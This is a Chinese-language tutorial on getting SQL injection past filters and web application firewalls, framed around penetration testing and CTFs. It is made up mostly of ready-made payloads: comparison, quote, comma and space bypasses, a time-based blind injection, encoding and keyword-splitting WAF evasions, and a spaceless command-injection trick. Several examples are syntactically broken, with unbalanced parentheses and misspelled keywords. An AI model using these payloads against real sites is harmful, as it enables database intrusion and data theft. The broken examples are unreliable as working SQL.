sql注入绕过技巧

1 前言

SQL注入绕过的技巧要看具体的环境,可以自己搭建测试,最好是在渗透测试的过程中遇到的环境,否则若仅靠自己凭空想,显然是不靠谱的。这篇文章我会总结一些之前遇到的绕过奇淫技巧,随着自己的见识和能力增强,相信自己总结的方法也会增多。

2 比较符(<,>)绕过

在测试盲注时,使用二分查找的时候需要使用到比较操作符来进行查找,若无法使用比较操作符可以使用到greatest来进行绕过。常见的盲注语句如下:

select * from users where id=1 and ascii(substr(database(),0,1))>72

若比较操作符被过滤掉,其盲注语句即无法正常使用,则可以使用greatest来代替比较操作符greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。

我们可以利用greatest进行上面盲注测试:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)=72
  • 总结:利用greatest()函数绕过比较操作符

    3 引号绕过

    在进行sql语句测试时在限定的where子句中会使用到引号””,看具体的代码:

    select 1,group_concat(column_name),3 from information_schema.columns where table_name=”users”

如果引号被过滤掉,那么上面的where语句则无法使用,遇到这样的问题我们可以使用十六进制来处理这个问题,users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273

-总结:使用十六进制可以绕过引号

4 逗号的绕过

在测试盲注的的时候,会利用到substr(),mid(),limit(),这些子句的方法都需要使用到逗号,对于substr()和mid()这两个方法可以使用from for 的方法来解决

select substr(database(0 from 1 for 1);
select mid(database(0 from 1 for 1);

对于limit可以使用offset来绕过

select * form news limit 0,1;
#等价下面的sql语句
select * from news limit 1 offset 0;
  • 总结:使用from绕过逗号

    5 注释,括号,%a0绕过空格

    sql注入时,空格的使用是非常普遍的,比如利用union来获得目标的数据

    and 0 union select null,null,null
    #上面语句中,and两侧,union两侧,select两侧都需要空格
    ####注释绕过空格

  • /注释/

    select user() from info;
    #########利用注释替换空格,就可以变成
    select//user()//from/**/info
    或者:

/**/un/**/io/**/n/**/sel/**/ec/**/t/**/1,2,3,4,5,5 from admin

第二种注释:
/*!and*/ 1=2

####括号绕过空格
在mysql中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端可以没有多余的空格。括号绕过空格的方法,在基于时间的盲注时,是屡试不爽

select user() from info where 1=1 and 2=2

如何把括号减到最少?,观察user()可以算值,故user()两边要加括号,变成:
select(user())from info where 1=1 and 2=2;
继续,1=1和2=2可以算值,也加括号,去空格,变成:

select(user())from info where(1=1)and(2=2);

info两边的空格,通常是由程序员自己添加,我们一般无法控制,所以上面就是空格最少的的结果

在以一条time base盲注语句做一个总结:

?id=(sleep(ascii(mid(user()from(2)for(1)))=109))

6 绕waf测试套路

尤其在做CTF比赛时,存在waf最令人头疼,语句的正常注射也是尤为关键,我们这时候可以尝试特殊字符的情况,特殊字符有

  • !@#$%^&*()_-+<>?/|~

若在测试的时候某一个字符被替换为空,我们可以得出结论,此字符可以被正常的接受,然后就是用这个字符和语句结合来绕过waf

7 绕过waf 360等防注入软件

A 大小写变种

使用起来最简单,效果现在来说不是太显著,比如:and 1=2 AnD 1=3;

B 使用URL编码

正常编码
'为%27 /=%2f %=%25 *==%2a /**/==%252f%252a*/

C 利用嵌套剥离

有些过滤器会从用户的输入中进行剥离一些敏感的函数,故可以通过函数的嵌套进行绕过一次剥离;

selselectect 剥离后为select

D 使用空字节

一些过滤器在处理输入时,若碰到孔子姐就会听之处理,故通常可以利用空字节绕过过滤器。id=1%00 and 1=2

E 避开自定义的过滤器

一些过滤器所过滤的字符串都是事先写入写好的,故只要我们输入的语法和她们过滤的不匹配即可绕过。and 转换为 a+nd a%nd 'a'nd %A0and

8 命令执行时过滤了空格

若命令执行时过滤了空格,则可以利用<>来绕过,比如php<"/tmp/code.php">"/tmp/result.txt",这条命令里没有空格,会执行code.php里面的代码并且输出重定向到result.txtx里面,还有注意的是,在做命令执行时,很可能命令无法列出所有的文件,可以去php里面找相关的函数来列文件,链接

------*** end*** ------